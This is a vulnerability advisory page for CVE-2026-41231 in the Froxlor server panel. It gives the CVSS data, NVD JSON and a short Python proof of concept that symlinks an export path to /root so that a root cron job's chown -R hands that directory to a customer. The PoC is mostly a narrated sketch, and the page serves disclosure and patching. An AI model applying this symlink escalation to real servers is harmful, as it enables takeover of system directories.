Security Vulnerability Report
中文
CVE-2026-41231 CVSS 7.5 HIGH

CVE-2026-41231

Published: 2026-04-23 04:16:20
Last Modified: 2026-04-27 17:01:43

Description

Froxlor is open source server administration software. Prior to version 2.3.6, `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:* - VULNERABLE
Froxlor < 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41231: Symlink Privilege Escalation in Froxlor # This script demonstrates the concept of the vulnerability. import os # 1. The attacker creates a malicious symlink pointing to a sensitive directory target_dir = "/root" # Target directory to own symlink_name = "malicious_export_link" print(f"[*] Creating symlink {symlink_name} -> {target_dir}") try: # In a real scenario, this would be done via the application's interface # triggering the vulnerable DataDump.add() logic. os.symlink(target_dir, symlink_name) print("[+] Symlink created successfully.") except OSError as e: print(f"[-] Error creating symlink: {e}") # 2. Trigger the vulnerability # The attacker specifies the crafted path in the export functionality. print("[*] Triggering DataDump export via vulnerable API...") # 3. Privilege Escalation occurs when ExportCron runs # The cron job (as root) executes: chown -R <attacker_user> <symlink_target> print("[*] Waiting for ExportCron (root) to process the request...") print("[+] If exploited, /root is now owned by the attacker.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41231", "sourceIdentifier": "[email protected]", "published": "2026-04-23T04:16:19.947", "lastModified": "2026-04-27T17:01:42.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}